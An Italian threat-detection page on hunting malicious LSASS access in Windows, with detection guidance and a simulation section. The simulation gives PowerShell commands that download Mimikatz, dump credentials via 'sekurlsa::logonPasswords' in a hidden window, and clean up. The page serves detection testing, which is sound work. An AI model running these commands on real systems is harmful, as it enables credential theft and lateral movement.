Ricerca di Accessi Maligni a LSASS negli Ambienti Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
L’articolo descrive come gli avversari estraggono le credenziali accedendo al processo LSASS con strumenti come Mimikatz e Cobalt Strike. Copre le tipiche chiamate API di Windows, DLL e diritti di accesso coinvolti nel dump della memoria di LSASS. Gli autori condividono query di rilevamento aggiornate per Sysmon e altre piattaforme EDR, con enfasi sul rafforzamento della copertura del rilevamento del dump di credenziali.
Indagine
Il Team di Ricerca sulle Minacce di Splunk ha emulato l’accesso a LSASS utilizzando Atomic Red Team, Mimikatz, Invoke-Mimikatz e Cobalt Strike. Hanno catturato la telemetria di Sysmon che mostrava i caricamenti delle DLL (dbgcore.dll, dbghelp.dll, ntdll.dll) e i valori caratteristici di GrantedAccess. Questo dataset è stato quindi utilizzato per ottimizzare le query di rilevamento che correlano le informazioni di CallTrace con diritti di accesso specifici.
Mitigazione
Ottimizza le policy di Sysmon o EDR per registrare gli eventi di ProcessAccess contro lsass.exe, applicando filtri su DLL conosciute e diritti di accesso rilevanti mentre si escludono processi di sistema affidabili. Usa le query fornite per generare avvisi su modelli di accesso LSASS sospetti. Rivedi e affina continuamente queste regole man mano che emergono nuovi strumenti e tecniche.
Risposta
Quando viene attivato un rilevamento, verifica il processo di origine, il contesto utente associato e le DLL coinvolte nell’accesso a LSASS. Isola l’endpoint interessato, cattura la memoria per un’analisi forense più approfondita e valuta le prove di furto di credenziali. Esamina l’albero del processo per distinguere le utilità amministrative legittime dall’attività indicativa di un attaccante.
Flusso di Attacco
Stiamo ancora aggiornando questa parte. Iscriviti per ricevere una notifica
NotificamiRilevamenti
HackTool – Accesso Generico ai Processi
Visualizza
Caricamento Sospetto di DLL Dbgcore/Dbghelp da Posizione Insolita
Visualizza
Accesso Sospetto al Processo LSASS con DLL Dbgcore/Dbghelp
Visualizza
Rilevamento del Dump di Credenziali LSASS tramite Accesso ai Processi [Windows Sysmon]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo di Pre-volo Telemetria e Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco e Comandi:
Un attaccante ha ottenuto i diritti di amministratore locale sull’host vittima e desidera raccogliere credenziali per lo spostamento laterale. Copiano lo strumento open-source Mimikatz sulla macchina, elevano il processo a privilegio DI DEBUG e invocano il moduloÂsekurlsa::logonPasswords che legge la memoria LSASS tramite chiamate API native che attraversanoÂntdll.dll. Sysmon registra questo come un evento ProcessAccess con diversi flagÂGrantedAccess di alto privilegio (e.g.,Â0x0010,Â0x1400,Â0x1fffff). L’attaccante esegue lo strumento da una sessione PowerShell nascosta per evitare l’esposizione UI.# 1. Rilascia il binario Mimikatz in %TEMP% $mkPath = "$env:TEMPmimikatz.exe" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip" Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force # 2. Esegui Mimikatz con comandi di dump delle credenziali Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait -
Script di Test di Regressione:
# ---------------------------------------------------------------------- # Simulazione di Dump di Credenziali LSASS – attiva la regola Sigma #4e0789a0… # ---------------------------------------------------------------------- # Rilascia Mimikatz (se non già presente) $mkPath = "$env:TEMPmimikatz.exe" if (-Not (Test-Path $mkPath)) { $zip = "$env:TEMPmk.zip" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force Remove-Item $zip -Force } # Esegui Mimikatz per dump di credenziali LSASS $args = 'privilege::debug sekurlsa::logonPasswords exit' Write-Host "[+] Esecuzione Mimikatz per dump LSASS..." Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait Write-Host "[+] Esecuzione di Mimikatz completata." # ---------------------------------------------------------------------- -
Comandi di Pulizia:
# Rimuovi il binario Mimikatz e tutti i file residui $mkPath = "$env:TEMPmimikatz.exe" if (Test-Path $mkPath) { Remove-Item $mkPath -Force } $folder = "$env:TEMPmimikatz" if (Test-Path $folder) { Remove-Item $folder -Recurse -Force } Write-Host "Pulizia completata."